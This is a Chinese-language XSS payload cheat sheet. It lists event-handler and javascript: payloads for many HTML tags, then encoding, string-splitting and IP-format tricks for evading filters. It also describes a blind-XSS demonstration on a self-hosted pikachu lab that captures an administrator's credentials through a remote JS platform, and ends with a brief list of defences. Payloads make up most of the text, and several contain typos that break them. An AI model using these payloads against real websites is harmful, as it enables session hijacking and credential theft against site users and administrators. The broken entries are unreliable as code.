常用触发标签
<script>
<script>alert("XSS");</script>
<img>
<img src=0 onerror=alert("XSS");>
<input>
<inpuy onfocus="alert('XSS');">
#自动触发
<input onblur=alert("XSS") autofocus><input autofocus>
<input onfocus="alert('XSS');" autofocus>
<svg>
<svg onload=alert("XSS");>
<iframe>
<iframe onload=alert("XSS");></iframe>
<video>
<video><source onerror=alert("XSS");>
<audio>
<audio src=0 onerror=alert("XSS");>
<body>
<body/onload=alert("XSS");>
#自动触发
<body
onscroll=alert("XSS");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<details>
<details ontoggle="alert('XSS');">
#自动触发
<details open ontoggle="alert('XSS');">
<select>
<select onfocus=alert("XSS")></select>
#自动触发
<select onfocus=alert("XSS") autofocus>
<textarea>
<textarea ibfocus=alert("XSS"); autofocus>
<keygen>
<keygen autofocus onfocus=alert("XSS")> //仅firefox
<marquee>
<marquee onstart=alert("XSS")></marquee> //Chrome不适用
<isindex>
<isindex type=inage src-1 onerror=alert("XSS")> //仅IE
远程包含js文件
<link rel=import href="http://127.0.0.1/1.js">
javascipt伪协议
<a>
<a href="javascript":alert(`XSS`);">XSS</a>
<iframe>
<iframe src=javascript:alert('XSS');></iframe>
<img>
<img src=javascript:alert('XSS')> //IE7以下
<form>
<form action="Javascript:alert(1)"><input type=submit>
常见过滤绕过
过滤空格
使用 / 代替 空格
<img/src="x"/onerror=alert("XSS");>
过滤关键字符
- 大小写绕过
- 双写关键字符(适用于将关键字符替换为空)
- 字符拼接
eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`XSS`);'eval(a+b+c)">
top
<script>top["al"+"ert"](`XSS`);</script>
编码绕过
html实体
使用十进制或十六进制的字符实体编码()
- Unicode编码
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
- url编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
- ASCII码
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
- 十六进制(hex)
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
- 八进制
<img src=x onerror=alert('\170\163\163')>
- base64
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
过滤单、双引号
- html标签中可不适用引号,js中,使用反引号 ` 代替
- 编码绕过
过滤括号
使用throw绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
过滤url地址
- url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
- 使用IP
#十进制
<img src="x" onerror=document.location=`http://2130706433/`>
#八进制
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
#十六进制(hex)
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
- html标签中可以使用 // 代替 http://
使用 \\(Linux)
windows下为file协议,linux为当前域的协议
- 中文 。 代替 .
<img src="x" onerror="document.location=`http://www。baidu。com`">
XSS盲打
“xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下,站点採用了攻击者插入了带真实攻击功能的xss攻击代码(一般是使用script标签引入远程的js)的数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。
通俗讲就是见到输入框就输入提前准备的xss代码,一般是使用script标签引入远程的js代码,当有后台人员审核提交数据时候,点击了提交的数据,触发获取到有价值信息。
下面利用自己搭建的pikachu漏洞平台进行演示
利用xss盲打平台(网上很多)
完成配置查看代码
进图pikachu漏洞平台
提交一个意见反馈
接下来模拟管理员查看评论过程
登录平台后台
可以看到片有意见反馈但是并不含有内容
返回盲打平台查看返回
得到信息
密码信息为MD5编码
解码的到密码123456
防止XSS
- 过滤转义危险字符
- HTTP-only Cookie:禁止JS读取cookie
- 设置输入内容长度的限制
- 设置CSP(https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP)